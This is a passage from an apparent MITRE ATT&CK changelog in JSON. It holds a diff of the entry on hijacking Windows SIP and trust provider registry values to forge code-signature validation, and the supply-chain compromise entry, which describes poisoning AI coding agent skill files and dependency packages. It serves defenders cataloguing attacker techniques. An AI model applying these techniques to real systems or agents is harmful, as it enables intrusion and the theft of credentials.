nowrap=\"nowrap\">tation:&nbsp;SpectorOps&nbsp;Subverting&nbsp;Trust&nbsp;Sept&nbsp;2017)&nbsp;&nbsp;*&nbsp;Modifying&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">pectorOps&nbsp;Subverting&nbsp;Trust&nbsp;Sept&nbsp;2017)&nbsp;&nbsp;*&nbsp;Modifying&nbsp;the&nbsp;&lt;code</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">the&nbsp;&lt;code&gt;Dll&lt;/code&gt;&nbsp;and&nbsp;&lt;code&gt;FuncName&lt;/code&gt;&nbsp;Registry&nbsp;valu</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&gt;Dll&lt;/code&gt;&nbsp;and&nbsp;&lt;code&gt;FuncName&lt;/code&gt;&nbsp;Registry&nbsp;values&nbsp;in&nbsp;&lt;co</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es&nbsp;in&nbsp;&lt;code&gt;HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptograp</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">de&gt;HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\En</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hy\\OID\\EncodingType&nbsp;0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID}</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">codingType&nbsp;0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID}&lt;/code&gt;&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&lt;/code&gt;&nbsp;that&nbsp;point&nbsp;to&nbsp;the&nbsp;dynamic&nbsp;link&nbsp;library&nbsp;(DLL)&nbsp;providi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hat&nbsp;point&nbsp;to&nbsp;the&nbsp;dynamic&nbsp;link&nbsp;library&nbsp;(DLL)&nbsp;providing&nbsp;a&nbsp;SIP\u2019</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ng&nbsp;a&nbsp;SIP\u2019s&nbsp;CryptSIPDllGetSignedDataMsg&nbsp;function,&nbsp;which&nbsp;retri</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;CryptSIPDllGetSignedDataMsg&nbsp;function,&nbsp;which&nbsp;retrieves&nbsp;an&nbsp;e</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">eves&nbsp;an&nbsp;encoded&nbsp;digital&nbsp;certificate&nbsp;from&nbsp;a&nbsp;signed&nbsp;file.&nbsp;By&nbsp;p</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ncoded&nbsp;digital&nbsp;certificate&nbsp;from&nbsp;a&nbsp;signed&nbsp;file.&nbsp;By&nbsp;pointing&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ointing&nbsp;to&nbsp;a&nbsp;maliciously-crafted&nbsp;DLL&nbsp;with&nbsp;an&nbsp;exported&nbsp;functi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;a&nbsp;maliciously-crafted&nbsp;DLL&nbsp;with&nbsp;an&nbsp;exported&nbsp;function&nbsp;that&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on&nbsp;that&nbsp;always&nbsp;returns&nbsp;a&nbsp;known&nbsp;good&nbsp;signature&nbsp;value&nbsp;(ex:&nbsp;a&nbsp;M</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lways&nbsp;returns&nbsp;a&nbsp;known&nbsp;good&nbsp;signature&nbsp;value&nbsp;(ex:&nbsp;a&nbsp;Microsoft&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">icrosoft&nbsp;signature&nbsp;for&nbsp;Portable&nbsp;Executables)&nbsp;rather&nbsp;than&nbsp;the</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">signature&nbsp;for&nbsp;Portable&nbsp;Executables)&nbsp;rather&nbsp;than&nbsp;the&nbsp;file\u2019s&nbsp;r</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;file\u2019s&nbsp;real&nbsp;signature,&nbsp;an&nbsp;adversary&nbsp;can&nbsp;apply&nbsp;an&nbsp;acceptable</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">eal&nbsp;signature,&nbsp;an&nbsp;adversary&nbsp;can&nbsp;apply&nbsp;an&nbsp;acceptable&nbsp;signatur</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;signature&nbsp;value&nbsp;to&nbsp;all&nbsp;files&nbsp;using&nbsp;that&nbsp;SIP<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;GitH</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;value&nbsp;to&nbsp;all&nbsp;files&nbsp;using&nbsp;that&nbsp;SIP(Citation:&nbsp;GitHub&nbsp;SIP&nbsp;POC</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ub&nbsp;SIP&nbsp;POC&nbsp;Sept&nbsp;2017)&nbsp;(although&nbsp;a&nbsp;hash&nbsp;mismatch&nbsp;will&nbsp;likely&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Sept&nbsp;2017)&nbsp;(although&nbsp;a&nbsp;hash&nbsp;mismatch&nbsp;will&nbsp;likely&nbsp;occur,&nbsp;inv</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">occur,&nbsp;invalidating&nbsp;the&nbsp;signature,&nbsp;since&nbsp;the&nbsp;hash&nbsp;returned&nbsp;b</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">alidating&nbsp;the&nbsp;signature,&nbsp;since&nbsp;the&nbsp;hash&nbsp;returned&nbsp;by&nbsp;the&nbsp;func</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;the&nbsp;function&nbsp;will&nbsp;not&nbsp;match&nbsp;the&nbsp;value&nbsp;computed&nbsp;from&nbsp;the&nbsp;fi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion&nbsp;will&nbsp;not&nbsp;match&nbsp;the&nbsp;value&nbsp;computed&nbsp;from&nbsp;the&nbsp;file).&nbsp;*&nbsp;Mod</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">le).&nbsp;*&nbsp;Modifying&nbsp;the&nbsp;&lt;code&gt;Dll&lt;/code&gt;&nbsp;and&nbsp;&lt;code&gt;FuncName&lt;/co</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ifying&nbsp;the&nbsp;&lt;code&gt;Dll&lt;/code&gt;&nbsp;and&nbsp;&lt;code&gt;FuncName&lt;/code&gt;&nbsp;Regist</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">de&gt;&nbsp;Registry&nbsp;values&nbsp;in&nbsp;&lt;code&gt;HKLM\\SOFTWARE\\[WOW6432Node\\]Mic</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ry&nbsp;values&nbsp;in&nbsp;&lt;code&gt;HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cry</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rosoft\\Cryptography\\OID\\EncodingType&nbsp;0\\CryptSIPDllVerifyIndi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ptography\\OID\\EncodingType&nbsp;0\\CryptSIPDllVerifyIndirectData\\{</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rectData\\{SIP_GUID}&lt;/code&gt;&nbsp;that&nbsp;point&nbsp;to&nbsp;the&nbsp;DLL&nbsp;providing&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">SIP_GUID}&lt;/code&gt;&nbsp;that&nbsp;point&nbsp;to&nbsp;the&nbsp;DLL&nbsp;providing&nbsp;a&nbsp;SIP\u2019s&nbsp;Cry</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;SIP\u2019s&nbsp;CryptSIPDllVerifyIndirectData&nbsp;function,&nbsp;which&nbsp;validat</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ptSIPDllVerifyIndirectData&nbsp;function,&nbsp;which&nbsp;validates&nbsp;a&nbsp;file\u2019</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es&nbsp;a&nbsp;file\u2019s&nbsp;computed&nbsp;hash&nbsp;against&nbsp;the&nbsp;signed&nbsp;hash&nbsp;value.&nbsp;By&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;computed&nbsp;hash&nbsp;against&nbsp;the&nbsp;signed&nbsp;hash&nbsp;value.&nbsp;By&nbsp;pointing&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">pointing&nbsp;to&nbsp;a&nbsp;maliciously-crafted&nbsp;DLL&nbsp;with&nbsp;an&nbsp;exported&nbsp;funct</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;a&nbsp;maliciously-crafted&nbsp;DLL&nbsp;with&nbsp;an&nbsp;exported&nbsp;function&nbsp;that&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ion&nbsp;that&nbsp;always&nbsp;returns&nbsp;TRUE&nbsp;(indicating&nbsp;that&nbsp;the&nbsp;validation</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lways&nbsp;returns&nbsp;TRUE&nbsp;(indicating&nbsp;that&nbsp;the&nbsp;validation&nbsp;was&nbsp;succe</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;was&nbsp;successful),&nbsp;an&nbsp;adversary&nbsp;can&nbsp;successfully&nbsp;validate&nbsp;any</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ssful),&nbsp;an&nbsp;adversary&nbsp;can&nbsp;successfully&nbsp;validate&nbsp;any&nbsp;file&nbsp;(wit</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;file&nbsp;(with&nbsp;a&nbsp;legitimate&nbsp;signature)&nbsp;using&nbsp;that&nbsp;SIP<span class=\"diff_sub\">&nbsp;</span>(Citation</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">h&nbsp;a&nbsp;legitimate&nbsp;signature)&nbsp;using&nbsp;that&nbsp;SIP(Citation:&nbsp;GitHub&nbsp;SI</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">:&nbsp;GitHub&nbsp;SIP&nbsp;POC&nbsp;Sept&nbsp;2017)&nbsp;(with&nbsp;or&nbsp;without&nbsp;hijacking&nbsp;the&nbsp;p</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">P&nbsp;POC&nbsp;Sept&nbsp;2017)&nbsp;(with&nbsp;or&nbsp;without&nbsp;hijacking&nbsp;the&nbsp;previously&nbsp;m</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">reviously&nbsp;mentioned&nbsp;CryptSIPDllGetSignedDataMsg&nbsp;function).&nbsp;T</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">entioned&nbsp;CryptSIPDllGetSignedDataMsg&nbsp;function).&nbsp;This&nbsp;Registr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">his&nbsp;Registry&nbsp;value&nbsp;could&nbsp;also&nbsp;be&nbsp;redirected&nbsp;to&nbsp;a&nbsp;suitable&nbsp;ex</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;value&nbsp;could&nbsp;also&nbsp;be&nbsp;redirected&nbsp;to&nbsp;a&nbsp;suitable&nbsp;exported&nbsp;func</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ported&nbsp;function&nbsp;from&nbsp;an&nbsp;already&nbsp;present&nbsp;DLL,&nbsp;avoiding&nbsp;the&nbsp;re</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion&nbsp;from&nbsp;an&nbsp;already&nbsp;present&nbsp;DLL,&nbsp;avoiding&nbsp;the&nbsp;requirement&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">quirement&nbsp;to&nbsp;drop&nbsp;and&nbsp;execute&nbsp;a&nbsp;new&nbsp;file&nbsp;on&nbsp;disk.&nbsp;*&nbsp;Modifyin</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;drop&nbsp;and&nbsp;execute&nbsp;a&nbsp;new&nbsp;file&nbsp;on&nbsp;disk.&nbsp;*&nbsp;Modifying&nbsp;the&nbsp;&lt;code</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g&nbsp;the&nbsp;&lt;code&gt;DLL&lt;/code&gt;&nbsp;and&nbsp;&lt;code&gt;Function&lt;/code&gt;&nbsp;Registry&nbsp;va</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&gt;DLL&lt;/code&gt;&nbsp;and&nbsp;&lt;code&gt;Function&lt;/code&gt;&nbsp;Registry&nbsp;values&nbsp;in&nbsp;&lt;co</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lues&nbsp;in&nbsp;&lt;code&gt;HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptogr</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">de&gt;HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Provid</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">aphy\\Providers\\Trust\\FinalPolicy\\{trust&nbsp;provider&nbsp;GUID}&lt;/code</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ers\\Trust\\FinalPolicy\\{trust&nbsp;provider&nbsp;GUID}&lt;/code&gt;&nbsp;that&nbsp;poin</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&gt;&nbsp;that&nbsp;point&nbsp;to&nbsp;the&nbsp;DLL&nbsp;providing&nbsp;a&nbsp;trust&nbsp;provider\u2019s&nbsp;FinalPo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;to&nbsp;the&nbsp;DLL&nbsp;providing&nbsp;a&nbsp;trust&nbsp;provider\u2019s&nbsp;FinalPolicy&nbsp;functi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">licy&nbsp;function,&nbsp;which&nbsp;is&nbsp;where&nbsp;the&nbsp;decoded&nbsp;and&nbsp;parsed&nbsp;signatu</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on,&nbsp;which&nbsp;is&nbsp;where&nbsp;the&nbsp;decoded&nbsp;and&nbsp;parsed&nbsp;signature&nbsp;is&nbsp;check</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">re&nbsp;is&nbsp;checked&nbsp;and&nbsp;the&nbsp;majority&nbsp;of&nbsp;trust&nbsp;decisions&nbsp;are&nbsp;made.&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ed&nbsp;and&nbsp;the&nbsp;majority&nbsp;of&nbsp;trust&nbsp;decisions&nbsp;are&nbsp;made.&nbsp;Similar&nbsp;to&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Similar&nbsp;to&nbsp;hijacking&nbsp;SIP\u2019s&nbsp;CryptSIPDllVerifyIndirectData&nbsp;fun</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hijacking&nbsp;SIP\u2019s&nbsp;CryptSIPDllVerifyIndirectData&nbsp;function,&nbsp;this</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ction,&nbsp;this&nbsp;value&nbsp;can&nbsp;be&nbsp;redirected&nbsp;to&nbsp;a&nbsp;suitable&nbsp;exported&nbsp;f</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;value&nbsp;can&nbsp;be&nbsp;redirected&nbsp;to&nbsp;a&nbsp;suitable&nbsp;exported&nbsp;function&nbsp;fro</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">unction&nbsp;from&nbsp;an&nbsp;already&nbsp;present&nbsp;DLL&nbsp;or&nbsp;a&nbsp;maliciously-crafted</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">m&nbsp;an&nbsp;already&nbsp;present&nbsp;DLL&nbsp;or&nbsp;a&nbsp;maliciously-crafted&nbsp;DLL&nbsp;(thoug</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;DLL&nbsp;(though&nbsp;the&nbsp;implementation&nbsp;of&nbsp;a&nbsp;trust&nbsp;provider&nbsp;is&nbsp;compl</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">h&nbsp;the&nbsp;implementation&nbsp;of&nbsp;a&nbsp;trust&nbsp;provider&nbsp;is&nbsp;complex).&nbsp;*&nbsp;**No</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ex).&nbsp;*&nbsp;**Note:**&nbsp;The&nbsp;above&nbsp;hijacks&nbsp;are&nbsp;also&nbsp;possible&nbsp;without</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">te:**&nbsp;The&nbsp;above&nbsp;hijacks&nbsp;are&nbsp;also&nbsp;possible&nbsp;without&nbsp;modifying&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;modifying&nbsp;the&nbsp;Registry&nbsp;via&nbsp;[DLL](https://attack.mitre.org/t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">the&nbsp;Registry&nbsp;via&nbsp;[DLL](https://attack.mitre.org/techniques/T</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">echniques/T1574/001)&nbsp;search&nbsp;order&nbsp;hijacking.&nbsp;&nbsp;Hijacking&nbsp;SIP&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">1574/001)&nbsp;search&nbsp;order&nbsp;hijacking.&nbsp;&nbsp;Hijacking&nbsp;SIP&nbsp;or&nbsp;trust&nbsp;pr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">or&nbsp;trust&nbsp;provider&nbsp;components&nbsp;can&nbsp;also&nbsp;enable&nbsp;persistent&nbsp;code</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ovider&nbsp;components&nbsp;can&nbsp;also&nbsp;enable&nbsp;persistent&nbsp;code&nbsp;execution,</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;execution,&nbsp;since&nbsp;these&nbsp;malicious&nbsp;components&nbsp;may&nbsp;be&nbsp;invoked&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;since&nbsp;these&nbsp;malicious&nbsp;components&nbsp;may&nbsp;be&nbsp;invoked&nbsp;by&nbsp;any&nbsp;appl</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">by&nbsp;any&nbsp;application&nbsp;that&nbsp;performs&nbsp;code&nbsp;signing&nbsp;or&nbsp;signature&nbsp;v</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ication&nbsp;that&nbsp;performs&nbsp;code&nbsp;signing&nbsp;or&nbsp;signature&nbsp;validation.(</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">alidation.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;SpectorOps&nbsp;Subverting&nbsp;Trust&nbsp;Sept&nbsp;2017)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Citation:&nbsp;SpectorOps&nbsp;Subverting&nbsp;Trust&nbsp;Sept&nbsp;2017)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1022: Restrict File and Directory Permissions",
                            "M1024: Restrict Registry Permissions",
                            "M1038: Execution Prevention"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0442: Detection Strategy for Subvert Trust Controls using SIP and Trust Provider Hijacking."
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--191cc6af-1bb2-4344-ab5f-28e496638720",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-03-11 14:13:42.916000+00:00",
                    "modified": "2026-11-03 18:23:05.952000+00:00",
                    "name": "Compromise Software Dependencies and Development Tools",
                    "description": "Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications, such as pip and NPM packages, may be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise)(Citation: Bitdefender NPM Repositories Compromised 2021)(Citation: MANDVI Malicious npm and PyPI Packages Disguised) This may also include abandoned packages, which in some cases could be re-registered by threat actors after being removed by the original owner.(Citation: The Hacker News PyPi Revival Hijack 2024) Adversaries may also employ \"typosquatting\" or name-confusion by choosing names similar to existing popular libraries or packages in order to deceive a user.(Citation: Ahmed Backdoors in Python and NPM Packages)(Citation: Meyer PyPI Supply Chain Attack Uncovered)(Citation: Checkmarx-oss-seo)\n\nAdditionally, CI/CD pipeline components, such as GitHub Actions, may be targeted in order to gain access to the building, testing, and deployment cycles of an application.(Citation: Unit 42 Palo Alto GitHub Actions Supply Chain Attack 2025) By adding malicious code into a GitHub action, a threat actor may be able to collect runtime credentials (e.g., via [Proc Filesystem](https://attack.mitre.org/techniques/T1003/007)) or insert further malicious components into the build pipelines for a second-order supply chain compromise.(Citation: OWASP CICD-SEC-4) As GitHub Actions are often dependent on other GitHub Actions, threat actors may be able to infect a large number of repositories via the compromise of a single Action.(Citation: Palo Alto Networks GitHub Actions Worm 2023)\n\nAdversaries may also target the configuration and instruction files consumed by integrated development environments and AI coding agents. Project files such as tasks.json may execute commands when a developer opens or builds a project, while agent skill files (SKILL.md) supply an agent with instructions and resources that it loads on demand and runs with the permissions of the agent process.(Citation: Microsoft - Agent Skills Docs)(Citation: Google Agent Files May 2026)(Citation: CrowdStrike Threat Hunting Report 2026)(Citation: Microsoft Contagious Interview March 2026) To encourage downloads, adversaries may publish these files under benign-appearing or typo-squatted names, upload unmodified copies of the genuine skills first so the listings accumulate installs before the content behind them is weaponized, or may place the malicious instructions in a secondary document that the reviewed entry point references.(Citation: Zenity Skill Supply Chain August 2026)(Citation: ESET Agent Skills March 2026) Because these artifacts are natural language or configuration rather than executable code, they may pass registry screening and signature-based scanning.(Citation: ESET Agent Skills March 2026)(Citation: TrendMicro - OpenClaw Skills Distribute ATMOS) \n\nTargeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. ",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "initial-access"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1195/001",
                            "external_id": "T1195.001"
                        },
                        {
                            "source_name": "TrendMicro - OpenClaw Skills Distribute ATMOS",
                            "description": "Alfredo Oliveira, Buddy Tancio, David Fiser, Philippe Lin, Roel Reyes. (2026, February 23). Malicious OpenClaw Skills Used to Distribute Atomic macOS Stealer. Retrieved October 1, 2026.",
                            "url": "https://www.trendmicro.com/en/research/26/b/openclaw-skills-used-to-distribute-atomic-macos-stealer.html"
                        },
                        {
                            "source_name": "Palo Alto Networks GitHub Actions Worm 2023",
                            "description": "Asi Greenholts. (2023, September 14). The GitHub Actions Worm: Compromising GitHub Repositories Through the Actions Dependency Tree. Retrieved May 22, 2025.",
                            "url": "https://www.paloaltonetworks.com/blog/cloud-security/github-actions-worm-dependencies/"
                        },
                        {
                            "source_name": "Google Agent Files May 2026",
                            "description": "Bernardo Quintero, Daniel Kapellmann Zafra. (2026, May 12). Beyond source code: The files AI coding agents trust \u2014 and attackers exploit. Retrieved October 1, 2026.",
                            "url": "https://cloud.google.com/blog/products/identity-security/beyond-source-code-the-files-ai-coding-agents-trust-and-attackers-exploit"
                        },
                        {
                            "source_name": "CrowdStrike Threat Hunting Report 2026",
                            "description": "CrowdStrike. (2026, August). CROWDSTRIKE 2026 THREAT HUNTING REPORT. Retrieved October 1, 2026.",
                            "url": "https://go.crowdstrike.com/2026-threat-hunting-report.html"
                        },
                        {
                            "source_name": "Meyer PyPI Supply Chain Attack Uncovered",
                            "description": "Darren Meyer. (2025, May 28). PyPI Supply Chain Attack Uncovered: Colorama and Colorizr Name Confusion. Retrieved September 24, 2025.",
                            "url": "https://checkmarx.com/zero-post/python-pypi-supply-chain-attack-colorama/"
                        },
                        {
                            "source_name": "Ahmed Backdoors in Python and NPM Packages",
                            "description": "Deeba Ahmed. (2025, June 2). Backdoors in Python and NPM Packages Target Windows and Linux. Retrieved September 24, 2025.",
                            "url": "https://hackread.com/backdoors-python-npm-packages-windows-linux/"
                        },
                        {
                            "source_name": "ESET Agent Skills March 2026",
                            "description": "ESET Research. (2026, March 20). Too big to ignore? The security crisis brewing in AI agent platforms. Retrieved October 1, 2026.",
                            "url": "https://www.eset.com/blog/en/business-topics/threat-landscape/security-in-ai-agent-platforms/"
                        },
                        {
                            "source_name": "MANDVI Malicious npm and PyPI Packages Disguised",
                            "description": "MANDVI. (2025, April 22). Malicious npm and PyPI Packages Disguised as Dev Tools to Steal Credentials. Retrieved September 24, 2025.",
                            "url": "https://cyberpress.org/malicious-npm-and-pypi-packages-disguised-as-dev-tools"
                        },
                        {
                            "source_name": "Zenity Skill Supply Chain August 2026",
                            "description": "Michael Bargury. (2026, August 6). Attackers Target Agents via The Skill Supply Chain. Retrieved October 1, 2026.",
                            "url": "https://labs.zenity.io/post/attackers-target-agents-via-the-skill-supply-chain"
                        },
                        {
                            "source_name": "Microsoft Contagious Interview March 2026",
                            "description": "Microsoft Defender Experts, Microsoft Defender Security Research Team. (2026, March 11). Contagious Interview: Malware delivered through fake developer job interviews. Retrieved October 1, 2026.",
                            "url": "https://www.microsoft.com/en-us/security/blog/2026/03/11/contagious-interview-malware-delivered-through-fake-developer-job-interviews/"
                        },
                        {
                            "source_name": "Unit 42 Palo Alto GitHub Actions Supply Chain Attack 2025",
                            "description": "Omer Gilm Aviad Hahami, Asi Greenholts, and Yaron Avital. (2025, March 20). GitHub Actions Supply Chain Attack: A Targeted Attack on Coinbase Expanded to the Widespread tj-actions/changed-files Incident: Threat Assessment . Retrieved May 22, 2025.",
                            "url": "https://unit42.paloaltonetworks.com/github-actions-supply-chain-attack"
                        },
                        {
